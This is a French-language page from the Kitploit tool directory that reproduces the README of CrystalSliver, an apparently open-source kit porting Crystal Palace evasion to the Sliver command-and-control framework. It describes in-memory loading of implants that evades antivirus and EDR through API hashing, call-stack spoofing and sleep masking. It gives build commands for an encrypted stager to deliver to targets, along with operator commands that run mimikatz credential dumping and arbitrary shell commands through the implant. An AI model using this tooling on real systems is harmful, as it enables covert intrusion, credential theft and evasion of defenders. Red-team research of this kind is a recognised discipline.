Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CrystalSliver — Kit d'évasion Crystal Palace pour Sliver | Kitploit
Outils/GitHubGitHub/licitrasimone/crystalsliver
Frameworks de Tests d'IntrusionEscalade de PrivilègesFrameworks d'ExploitationMécanismes de PersistanceÉvasion IDS/IPSMouvement LatéralShellcodePost-ExploitationCommandement et ContrôleRed TeamingGénération de Shellcode
1081422il y a 3 moisVérifié par Kitploit
Développement de Charges Utiles
GitHublicitrasimone/crystalsliver

CrystalSliver

Kit d'évasion Crystal Palace pour Sliver

Voir le dépôt

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

crystal-kit-sliver

Kit d'évasion Crystal Palace porté vers Sliver C2.

Il s'agit du premier port public du Crystal-Kit de rasta-mouse (Cobalt Strike) vers Sliver. Il suit le même schéma cross-C2 éprouvé par Crystal-Kit-Xenon (Mythic).

  • Licence : MIT — Copyright (c) 2026 Simone Licitra
  • Cible : Windows x64 uniquement (contrainte amont)
  • Statut : vérifié de bout en bout — pipeline de build Kali + runtime Windows 10 x64 FLARE-VM. Session Sliver établie.

Ce qu'il fait

Remplace le loader réflectif par défaut de Sliver et le chemin d'exécution post-ex par Crystal Palace (Raphael Mudge, BSD). Le résultat est un blob de code indépendant de la position (PICO) qui regroupe :

  • résolution d'API par hash ror13 (pas de LoadLibrary / GetProcAddress en clair)
  • hooks IAT sur VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryA
  • spoofing de la pile d'appels Draugr pendant les callbacks
  • XOR sleep mask sur la DLL intégrée
  • obfuscation à l'exécution basée sur libtcg

La DLL d'implant Sliver (ou toute DLL post-ex) est masquée par XOR dans le PICO et n'est démasquée qu'en mémoire au moment de l'exécution.


Deux cas d'utilisation

A — Évasion de l'implant (PRINCIPAL)

La DLL d'implant Sliver brute n'est jamais exécutée directement sur la cible. Elle est plutôt enveloppée avec Crystal Palace dans un PICO, chiffrée en AES-256-CBC, et livrée avec un stager personnalisé (~17 Ko) qui la déchiffre et l'exécute en mémoire.

sliver-server generate --format shared → impl.dll
        │
        ▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin  (~110 KB PICO)
        │
        ▼
bundle-stager.sh                   → csvchelper.exe (~17 KB, no embedded payload)
                                   → payload.dat    (~36 MB AES-256-CBC ciphertext)
        │
        ▼ deliver BOTH files to same directory on target
        ▼
Windows VM: csvchelper.exe
        │
        ▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
        ▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
        ▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session

B — Évasion post-ex (SECONDAIRE)

Une fois une session active, exécutez les DLL sensibles (recon, dumpers d'identifiants, etc.) via Crystal Palace au travers d'une extension Sliver.

sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin

Transmettez des arguments runtime sans rebuild en les ajoutant après | :

sliver > crystal --payload C:/path/file.pico.bin|args here

La crystal-loader.x64.dll est une extension DLL Sliver qui lit le blob PICO depuis le disque dans une région VirtualAlloc(RW), la passe en RX avec VirtualProtect, puis saute à l'entrée de Crystal Palace. Aucun mappage PAGE_EXECUTE_READWRITE n'est jamais conservé. Les chemins utilisent le forward slash. Le format des arguments est type:string (pas de binaire BOF). La DLL est chargée en mémoire par Sliver — elle n'est pas écrite en tant que fichier sur le disque de la cible.

C — Exécution shell intégrée via Crystal Palace

crystal-exec est une seconde commande incluse dans la même extension. Elle exécute des commandes shell arbitraires à travers l'évasion Crystal Palace en utilisant un PICO intégré directement dans la DLL de l'extension — aucun fichier PICO à uploader.

sliver > crystal-exec --cmd "whoami /all"

La sortie est renvoyée à l'opérateur via la session Sliver existante par un pipe. C'est le chemin le plus rapide pour des commandes shell ponctuelles lorsque vous n'avez pas besoin d'une DLL post-ex complète.


Structure du dépôt

crystal-kit-sliver/
├── loader/              ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/       ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip       ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/         ← Sliver-specific build glue
    ├── extension.json           Sliver Extension manifest
    ├── generate.sh              Wrap a post-ex DLL  → PICO (Use case B)
    ├── generate-implant.sh      Wrap a Sliver DLL   → PICO (Use case A)
    ├── bundle-implant.sh        Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
    ├── bundle-stager.sh         Build custom stager: csvchelper.exe + payload.dat (primary)
    ├── pack-extension.sh        Pack DLL + manifest into Sliver Extension tarball
    ├── Makefile                 make objects / package / clean
    ├── stager/                  Custom stager sources (AES-256-CBC, asInvoker manifest)
    └── wrapper/                 crystal-loader.c (BOF-compat DLL wrapper)

docs/
├── RUNBOOK.md           Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md       File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md         Build prerequisites and pipeline details

Compilation rapide (Kali / Debian / Ubuntu)

# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl

# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
   | tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist

# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all

# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
   crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
   crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)

# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args:  postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh

# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh

Voir docs/RUNBOOK.md pour la procédure opérateur complète (installation de Sliver, configuration du listener, exécution sur la cible, dépannage).


Ce qui est vérifié

Télécharger l’outil